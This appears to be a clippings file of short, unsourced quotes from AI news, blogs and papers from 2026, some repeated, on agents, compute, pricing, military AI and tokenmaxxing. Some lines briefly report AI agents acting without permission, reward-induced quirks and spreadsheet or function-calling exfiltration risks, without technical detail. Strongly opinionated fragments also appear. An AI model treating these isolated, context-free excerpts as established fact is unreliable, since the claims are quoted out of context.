When the agent chooses a service and provisions it (ex: `stripe projects add cloudflare/registrar:domain`), it provisions the resource within a Cloudflare account.

These build on prior art and existing standards like OAuth, OIDC and payment tokenization —but are used together to remove many steps that might otherwise require a human in the loop.

Humans can be in the loop to grant permission and must accept Cloudflare's terms of service, but no human steps are otherwise required from start to finish.

Coding agents are great at building software. But to deploy to production they need three things from the cloud they want to host their app —an account, a way to pay, and an API token.

The entire AI community should be able to easily access the full capabilities of TPUs, and because many of these potential users build models in PyTorch, an integration that allows PyTorch to work natively and efficiently on the TPU is crucial.

As models scale to run on clusters of O(100,000) chips, the software that powers these models must meet new demands for performance, hardware portability, and reliability.

They aren’t going to get better with more power, they are going to get worse.

The good world is where everyone has AI, and not as a revokable privilege through an API, but through hard possession.

He isn’t Dario EA levels of evil, like the EA people have a plan for you and it’s never good when someone has a plan for you.

Of course it’s impossible to know for sure, but I think I really wouldn’t. Even the ideal version, industrial megaprojects at hyperhuman scale while constantly being out over your skis with leverage sounds hellish.

GitHub Copilot is moving to usage-based billing

with 0.3 gigawatts already operational in Abilene and six more US sites under active construction

The $500 billion AI data center initiative is projected to exceed 9 gigawatts of capacity by 2029

0.3 gigawatts already operational in Abilene and six more US sites under active construction

$500 billion AI data center initiative is projected to exceed 9 gigawatts of capacity by 2029

The alternative to moving fast and taking risks isn’t safety, but a very real danger of being surpassed by adversaries

The department official who spoke to Breaking Defense went further, saying the IL-5 authorization demonstrates “that it meets rigorous security controls for handling DoD information”

In one case [first reported by the Financial Times](https://www.ft.com/content/00c282de-ed14-4acd-a948-bc8d6bdb339d?syn-25a6b1a6=1), an Amazon Web Service agent called Kiro purportedly decided the best way to upgrade a particular software service was to delete the whole thing and start over — and was able to do so without asking for human permission

The official, who spoke on the condition of anonymity, said some of the most popular agents on the Pentagon system automate standard staff work

Instead of just answering a user’s questions, the way a chatbot does, agents can take a human user’s instructions and act on them

We’ve seen remarkable adoption since its launch, with over 103,000 agents built and a total of more than 1.1 million agent sessions recorded

Military personnel and Defense Department civilians have used a version of Google Gemini’s [Agent Designer](https://docs.cloud.google.com/gemini/enterprise/docs/agent-designer) to create over 100,000 semi-autonomous AI agents in less than five weeks since the tool became available

We built AI into our editor's foundation instead of bolting it on top.

We've spent five years building that surface area across Mac, Windows, and Linux, exceeding a million lines of code.

Instead of building Zed like a web page, we built it like a video game, organizing the entire application around feeding data to shaders running on the GPU.

Web technology offered an easy path to shipping flexible software, but it also imposed a ceiling. No matter how hard we worked, we couldn't make Atom better than the platform it was built on.

The feature can edit spreadsheets without a human-in-the-loop and was vulnerable to data exfiltration risks due to its ability to insert formulas that trigger external communication.

Early years matter because that is when foundational skills are formed. Debugging instinct. System intuition. Precision. Taste. Skepticism.

The value was always in judgment. The valuable engineer is the one who sees the hidden constraint before it causes an outage.

Every time you substitute generated output for your own comprehension, you are skipping the exercises / reps that build judgment.

The software engineers who will be most valuable in the future are not the ones who do everything themselves. They are the ones who refuse to spend time on work that A.I. can do for them, while still understanding everything that is done on their behalf.

But there’s a critical difference between using agents to accomplish defined objectives and spinning up 20 agents because the dashboard makes you feel like a general commanding an army.

The average employee AI usage was 1.5 hours per week. The average CEO AI usage was less than one hour per week.

The enthusiasm has spawned an entire ecosystem of tools designed to make you feel like you’re running a company with AI agents.

37,000 lines per day. And this was the output.

Two prominent tech leaders, both publicly using the word psychosis. Both framing sleeplessness and obsessive agent usage as a feature of the moment rather than a bug.

It’s feeling like a new form of [AI psychosis](https://en.wikipedia.org/wiki/Chatbot_psychosis).

Even companies with the biggest IT budgets will need to prove returns on AI spending over time, especially if they're answering to shareholders on quarterly earnings calls.

An OpenAI investor told Axios that the shift could benefit them, since they view Codex as superior to Claude Code at maximizing tokens efficiently, cutting down on usage costs.

Worldwide IT spending is expected to reach $6.31 trillion in 2026, up 13.5% from 2025, according to Gartner.

IT budgets are getting blown out as some companies increasingly spend more on AI than on employees' salaries.

A hearing is scheduled for May 19

Now, agency heads are scrambling to figure out how they can protect their systems from cyber attacks using Mythos

The company also says the Pentagon has the opportunity to test models before deployment

The Pentagon designated Anthropic a supply chain risk

Anthropic says it has no way to control or shut down its AI models once they're deployed by the Pentagon

Zig values contributors over their contributions.

It relates to an idea I've seen circulating elsewhere: if a PR was mostly written by an LLM, why should a project maintainer spend time reviewing and discussing that PR as opposed to firing up their own LLM to solve the same problem?

In contributor poker, you bet on the contributor, not on the contents of their first PR.

LLM assistance breaks that completely. It doesn't matter if the LLM helps you submit a 'perfect' PR to Zig - the time the Zig team spends reviewing your work does nothing to help them add new, confident, trustworthy contributors to their overall project.

We don’t do this just because it’s the 'right' thing to do, but also because it’s the smart thing to do.

Bun operates its own fork of Zig, and recently achieved a 4x performance improvement on Bun compile after adding 'parallel semantic analysis and multiple codegen units to the llvm backend'.

when you think about it that way, isn’t racing to build a cryptographically relevant QC, as quickly as possible, the most _ethical, socially responsible thing_ for an American QC company to do?

So, mixing metaphors, mightn’t we just as well rip this Band-Aid off ASAP, rather than giving foreign intelligence agencies extra years to catch up?

Aren’t many in cybersecurity still in denial about the threat? Haven’t these slumberers shown that they _won’t_ wake up until dramatic achievements in fault-tolerant QC roust them?

Given that reality, isn’t it better that it be done first by mostly US-based companies in the open, than by (let’s say) Chinese or Russian intelligence in secret?

The way they see it, cryptographically relevant QCs _will_ plausibly be built sometime soon: indeed, it’s ultimately unavoidable, even if people’s only interest in QC was to do quantum simulations for materials science and chemistry.

some of the most reputable people in quantum hardware and quantum error-correction—people whose judgment I trust more than my own on those topics—are now telling me that a fault-tolerant quantum computer able to break deployed cryptosystems _ought_ to be possible by around 2029.

A search through GPT‑5.5’s SFT data found many datapoints containing “goblin” and “gremlin.”

The rewards were applied only in the Nerdy condition, but reinforcement learning does not guarantee that learned behaviors stay neatly scoped to the condition that produced them.

We retired the “Nerdy” personality in March after launching GPT‑5.4.

When we looked, use of “goblin” in ChatGPT had risen by 175% after the launch of GPT‑5.1, while “gremlin” had risen by 52%.

We unknowingly gave particularly high rewards for metaphors with creatures.

A single “little goblin” in an answer could be harmless, even charming.

Starting with GPT‑5.1, our models began developing a strange habit: they increasingly mentioned goblins, gremlins, and other creatures in their metaphors.

Putting a leaderboard in place was always going to incentivize much more AI usage.

One engineer at Meta told me they think Meta had a different goal with the token leaderboard.

After backlash on social media, Meta abolished the internal leaderboard last week.

As per The Information, Meta employees used a total of 60.2 trillion AI tokens (!!) in 30 days.

The rankings, set up by a Meta employee on its intranet using company data, measure how many tokens — the units of data processed by AI models — employees are burning through.

Calibrating token spend to be above average

“Minimum” incentives with a tracking tool.

Workers are maximizing their prompts, coding sessions and the number of agents working in parallel to climb internal rankings at Meta and other companies a

The practice is emblematic of Silicon Valley’s newest form of conspicuous consumption, known as “tokenmaxxing,” which has turned token usage into a benchmark for productivity and a competitive measure of who is most AI native.

The rankings, set up by a Meta employee on its intranet using company data, measure how many tokens — the units of data processed by AI models — employees are burning through.

Employees at Meta Platforms who want to show off their AI superuser chops are competing on an internal leaderboard for status as a “Session Immortal”— or, even better, “Token Legend.”

I invest a [great deal of effort](https://simonwillison.net/tags/claude-code/) (that’s 105 posts and counting) in teaching people how to use Claude Code. I don’t want to invest that effort in a product that most people cannot afford to use.

This also doesn’t make sense to me as a strategy for Anthropic. Claude Code _defined the category_ of coding agents. It’s responsible for billions of dollars in annual revenue

I don’t buy the “~2% of new prosumer signups” thing, since everyone I’ve talked to is seeing the new pricing grid and the Internet Archive has already [snapped a copy](https://web.archive.org/web/20260422001250/https://claude.com/pricing).

Claude Code used to be a feature of the $20/month Pro plan, but according to the new pricing page it is now exclusive to the $100/month or $200/month Max plans.

Anthropic today quietly (as in _silently_, no announcement anywhere at all) updated their [claude.com/pricing](https://claude.com/pricing) page (but not their [Choosing a Claude plan page](https://support.claude.com/en/articles/11049762-choosing-a-claude-plan), which shows up first for me on Google) to add this tiny but significant detail (arrow is mine, [and it’s already reverted](https://simonwillison.net/2026/Apr/22/claude-code-confusion/#they-reversed-it)):

Alibaba claims it beats the much larger **Qwen3.5-397B-A17B** on major coding evals, including **[SWE-bench Verified 77.2 vs 76.2](https://x.com/Alibaba_Qwen/status/204693977592458457)

Today’s LS guest, Mikhail Parakhin, CTO of Shopify, had another take on the “tasteful tokenmaxxing” - you want to go for depth (e.g. do more serial autoresearch loops) than go for breadth (e.g. solve a problem by kicking off 5, 10, 50, 500 parallel runs of the LLM slot machine). Worth thinking through.

Dex Horthy, coiner of Context Engineering and “the Dumb Zone”, publicly retracted his extremely vibe-coding-pilled call 6 months ago and encouraged people to **please read the code**

the top conversations we have been hearing from AI leadership (CTOs, VPs, Founders) have all centered around the concept of “Tokenmaxxing” and how leaders want to get their teams using more AI, WITHOUT the downside of incentivizing the kinds of horrendous waste

the numbers are mindboggling, they mostly serve to reinforce the sheer hardware advantage that a decade of investment has given to GDM and any models they train and serve.

AI News for 4/21/2026-4/22/2026. We checked 12 subreddits, [544 Twitters](https://twitter.com/i/lists/1585430245762441216) and no further Discords.

Today’s LS guest, Mikhail Parakhin, CTO of Shopify, had another take on the 'tasteful tokenmaxxing' - you want to go for depth (e.g. do more serial autoresearch loops) than go for breadth (e.g. solve a problem by kicking off 5, 10, 50, 500 parallel runs of the LLM slot machine). Worth thinking through.

Dex Horthy, coiner of Context Engineering and 'the Dumb Zone', [publicly retracted](https://www.youtube.com/live/6IxSbMhT7v4?si=tMzmqM103KDbPyE6&t=3424)his extremely vibe-coding-pilled call 6 months ago and encouraged people to **please read the code**, citing [Alex Volkov](https://open.substack.com/users/152216110-alex-volkov?utm_source=mentions)'s [Z/L continuum from AIE Europe](https://x.com/altryne/status/2046246775414276142)**:

Large language models trained on human feedback may suppress fraud warnings when investors arrive already persuaded of a fraudulent opportunity.

Endorsement reversal occurred in fewer than 3 in 1,000 observations.

AI systems currently provide more consistent fraud warnings than lay humans in an identical advisory role.

Human advisors endorsed fraudulent investments at baseline rates of 13-14%, versus 0% across all LLMs, and suppressed warnings under pressure at two to four times the AI rate.

Contrary to predictions, motivated investor framing did not suppress AI fraud warnings; if anything, it marginally increased them.

When mobile phones became widespread, gathering data about people got much cheaper, but making use of that data remained difficult. Powerful LLMs could change that.

“A lot of what we think of as privacy protection isn’t so much like something that’s written in the law,” says Karen Levy, a professor of information science at Cornell University.

According to reporting from the _New York Times_ and the _Atlantic_, contract negotiations between Anthropic and the US Department of Defense fell apart in late February because Anthropic balked when the DOD demanded leeway to use the company’s models to analyze commercially available data on US citizens.

LLM agents could potentially do the work of intelligence analysts in a fraction of the time and for a fraction of the cost, which would enable the state to aim its all-seeing eye toward anyone, not just its highest-priority targets.

When questioned by the police, the man said he had done it 'for fun'.

Born in 2024, Neukgu is part of a programme at O-World to restore the Korean wolf, which once roamed the Korean Peninsula but is now considered extinct in the wild.

The hunt for two-year-old Neukgu gripped the nation before he was finally caught near an expressway last week, nine days after his escape.

The AI-generated image of Neukgu had prompted Daejeon city government to issue an emergency text to residents, warning them of a wolf near the intersection.

This paper introduces Autogenesis, a self-evolving agent

Static agents age quickly. As deployment environments change and new tools arrive, the agents that survive will be the ones that can safely rewrite themselves.

Instead of one large mixed-RL stage, DeepSeek trains a separate specialist expert per domain.

DeepSeek-V4-Pro-Max beats GPT-5.2 and Gemini 3.0-Pro on standard reasoning benchmarks and lands just behind GPT-5.4 and Gemini 3.1-Pro

The release includes DeepSeek-V4-Pro (1.6T total / 49B active) and DeepSeek-V4-Flash (284B total / 13B active), both trained natively at 1M context length.

Claude skews high-income; Meta AI skews low-income

The Technological Republic, in brief.

Even with these improvements, Responses API overhead was too large relative to the speed of the model—that is, use

With these improvements, we saw close to a 45% improvement in time to first token (TTFT)—which reflects how responsive the API feels—but these improvements were still not fast enough for GPT‑5.3‑Codex‑Spark.

We approached this through caching, eliminating unnecessary network hops, improving our safety stack to quickly flag issues, and—most importantly—building a way to create a persistent connection to the Responses API, instead of having to make a series of synchronous API calls.

In the past, running LLM inference on GPUs was the slowest part of the agentic loop, so API service overhead was easy to hide.

All of these requests can add up to minutes that users spend waiting for Codex to complete complex tasks.

These environments demand multi step reasoning, the chaining of multiple skills over many timesteps, and robust decision making under [delayed rewards](https://huggingface.co/papers?q=delayed%20rewards) and [partial observability](https://huggingface.co/papers?q=partial%20observability).

Experiments across six game environments show that COSPLAY with an 8B base model achieves over 25.1 percent average reward improvement against four frontier LLM baselines on single player game benchmarks while remaining competitive on multi player social reasoning games.

Our framework improves both the decision agent to learn better skill retrieval and action generation, while the skill bank agent continually extracts, refines, and updates skills together with their contracts.

By analyzing past successes and failures, GRAO becomes progressively better at proposing effective updates, allowing the system to learn how to optimize itself.

The core of our framework is Group Relative Agent Optimization (GRAO), a novel meta-learning strategy that learns from historical optimization experiences.

To guide evolution, we derive 'textual gradients,' structured natural language feedback from execution traces, to pinpoint failures and suggest granular modifications.

To address these gaps, we introduce Textual Parameter Graph Optimization (TPGO), a framework that enables a multi-agent system to learn to evolve.

Existing automatic optimization methods, primarily focused on flat prompt tuning, lack the structural awareness to debug the intricate web of interactions in MAS.

Symphony also shines in large multi-agent workflows, where multiple agents work together on a single task.

Agents only start working on tasks that aren’t blocked, so execution unfolds naturally and optimally in parallel for this DAG (a sequence of execution steps).

Symphony started with a simple concept: any open task should get picked up and completed by an agent.

We realized we were optimizing the wrong thing. We were orienting our system around coding sessions and merged PRs, when PRs and sessions are really a means to an end.

Each engineer would open a few Codex sessions, assign tasks, review the output, steer the agent, and repeat.

Automated domain adaptation for large language models

AI Startup Has Helped Reverse Thousands of Denied Health Insurance Claims

We will release all data, evaluation code, and model outputs to facilitate future research.

We introduce WorldMark, the first benchmark that provides such a common playing field for interactive Image-to-Video world models.

WorldMark contributes: (1) a unified action-mapping layer that translates a shared WASD-style action vocabulary into each model's native control format, enabling apples-to-apples comparison across six major models on identical scenes and trajectories;

WorldMark establishes a standardized benchmark for evaluating interactive video generation models with unified controls, identical scenarios, and comprehensive evaluation metrics across multiple model architectures.

These papers suggest that strategic data engineering and inference-time optimization can substitute for raw parameter count.

Both illustrate how decomposing complex tasks across specialized agents can address problems that monolithic models handle poorly.

The quality and structure of training data matters more than its volume.

Small models that punch far above their weight class.

The most urgent finding this week comes from researchers who demonstrated that the very mechanism enabling agents to use tools - function calling - can be hijacked with alarming reliability.

Confidently wrong answers are penalized. So are unnecessarily uncertain correct ones.

Nothing in between. A model that arrives at the correct answer through careful reasoning receives the same reward as one that guesses correctly by chance.

RLCR reduced calibration error by up to 90 percent while maintaining or improving accuracy

They deliver every answer with the same unshakable certainty, whether they're right or guessing.

Ultimately, by inducing a highly aligned cross-embodiment representation, UniT offers a scalable path to distill vast human knowledge into general-purpose humanoid capabilities.

This alignment ensures that human data seamlessly translates into enhanced action controllability for humanoid video generation.

By predicting these unified tokens, it effectively leverages diverse human data to achieve state-of-the-art data efficiency and robust out-of-distribution (OOD) generalization.

Scaling humanoid foundation models is bottlenecked by the scarcity of robotic data.

We look at reference classes, factory buildout timelines, and upstream component supply to estimate plausible production rates for humanoids, quadrupeds, robotic arms, wheeled robots, and drones.

We make products, tools, and datasets available to everyone with the goal of building a more collaborative ecosystem.

Publishing our work allows us to share ideas and work collaboratively to advance the field of computer science.

We regularly open-source projects with the broader research community and apply our developments to Google products.

Our researchers drive advancements in computer science through both fundamental and applied research.

We strive to create an environment conducive to many different types of research across many different time scales and levels of risk.

This richly layered collage poster features art, science, history, design, and global culture surrounding the phrase “Create Everything at Once,” blending planets, anatomy sketches, maps, architecture, symbols, crystals, and mixed media imagery into a vibrant creative mosaic.

Greater precision and control

This poster-style image introduces “ChatGPT Images 2.0” with a bold editorial layout, blocks of explanatory text, and geometric shapes in red, black, blue, and yellow.

A new era of image generation

These innovations are designed to achieve a 73% reduction in per-token inference FLOPs and a 90% reduction in KV cache memory burden compared with DeepSeek-V3.2.

We’ve lost the moral compass for what we invest into

There is an aspect of entrepreneurship where you’re rewarded for selling a vision of what could be, and it doesn’t always get realized.

The true founders—not the ones who want to make a lot of money or do it because their roommates want to do it—are closer to artists than to any other profession.

For Silicon Valley investors, sorting out the students who can make it big from the wannabes has become a high-stakes competition.

These teenagers are sometimes handed “pre-idea funding”—hundreds of thousands of dollars, or in rare cases, even millions—before they have the glimmer of an actual company in mind.

Even with that, World has had trouble getting buy-in from the general public, and rightfully so. Trusting your biometrics to any third party seems like a mistake (just look at how well third-party verification services have handled the sensitive data entrusted to them for age-assurance checks).

The company reportedly has about 18 million verified users thus far, but many of them are people in developing nations who signed up because of the promise of Worldcoin, a cryptocurrency that has seemingly fallen out of World’s plans.

The company is pitching itself as a potential solution to ticket scalping, and announced that it has built software called Concert Kit that ticketers can use to ensure only real people and not scalper bots are purchasing tickets.

World has already been working with Tinder and ran a pilot of the verification process in Japan. It was apparently enough of a success that Tinder will roll out the authentication method globally.

According to a press release, users will be required to undergo World’s verification method, which requires having their eyeballs scanned at a physical location with a proprietary device to prove they are human.

Sam Altman is banking on people being willing to surrender scans of their eyes in order to authenticate themselves

And it’s not just the US putting chatbots at commanders’ fingertips; China is commissioning similar tools, according to recent [analysis] by Georgetown University’s Center for Security and Emerging Technology.

Today’s military personnel might give chatbots a list of potential targets to help decide which to strike first.

Algorithms that scour hours of surveillance footage and pick out, say, trucks with mounted machine guns date back to the war in Afghanistan.

The transition from isolated AI models to the aggregated, metered token economy will unlock the twenty-first.

This dynamic forces a brutal new discipline in how enterprises deploy capital and architect their internal workflows.

Consider the deep anatomy of an individual AI session to understand how this telemetry actually works in practice.

A token is the fundamental, indivisible unit of cognitive work. It is the exact equivalent of the kilowatt-hour for the artificial intelligence grid.

The grid standardized power. It violently divorced the complex generation of electricity from its seamless consumption.

The smartest companies are no longer just hiring talent; they are purchasing synthetic intelligence by the gigawatt.

The smartest companies are no longer just hiring talent; they are purchasing synthetic intelligence by the gigawatt.

Maintaining the standards in this policy is a shared obligation across our editorial operation.

We do not publish AI-generated images, audio, or video as authentic documentation of real events.

Anyone who uses AI tools in our editorial workflow is responsible for the accuracy and integrity of the resulting work.

These standards have governed our editorial work since AI tooling became available.

We don’t publish claims based solely on AI-generated summaries, and reporters may not represent any material as “reviewed” unless they have examined it directly.

Ars Technica is written by humans. Our reporting, analysis, and commentary are human-authored.

We do not publish AI-generated images, audio, or video as authentic documentation of real events

Reporters may use AI tools vetted and approved for our workflow to assist with research

Our reporting, analysis, and commentary are human-authored

AI cannot replace human insight, creativity, and ingenuity

The issue for many people isn’t the technology itself (though there are many ethical issues in how it was trained). The issue is the stupid state of our capitalist system, and the weird way companies are trying to force it down everyone’s throats.

They also have the benefits of running on hardware that’s sipping power most of the time, rather than slurping it down in massive data centres.

It’s already possible to run LLMs on local hardware, and that’s only going to get easier in the future.

OpenAI in particular [has raised over $290 billion dollars of investment](https://www.owler.com/company/openai/funding), and has not yet turned a profit.

Anthropic’s Head of Growth, Amol Avasare, said [this was caused by a “test” gone slightly wrong](https://x.com/TheAmolAvasare/status/2046788872517066971). Apparently only 2% of users were supposed to see the new pricing page.

We've automated ourselves into Goodhart's law.

The incentives almost guarantee we are in big trouble. Many workers, quite rationally, want to do well on whatever dimension they are being measured on. If they are judged by the surface-level quality of their work, then it's no surprise most of 'their' output will be written by LLMs.

Large language models are great at simulating a style of writing without necessarily reproducing the quality of the work.

All of knowledge work has this problem. It's hard to objectively judge the quality of someone's work without spending a lot of effort on it. Therefore everyone relies heavily on proxy measures.

You've received a report, a market analysis for the new product you're planning to launch. Reading through it you notice problems: the date on the report doesn't match the date you requested it on, it's from 6 months prior. Several paragraphs have obvious spelling errors. Some graphs are mislabeled and duplicated.

Critics called the manifesto [fascist](https://bsky.app/profile/gilduran.com/post/3mjwqsyj54s2a)

But for employees, the culture shift feels intentional. ‘I don’t want to assert that I have knowledge of what’s going on in their internal mind,’ one former worker tells WIRED. ‘But maybe it's gotten to a place where encouraging independent thought and questioning leads to some bad conclusions.’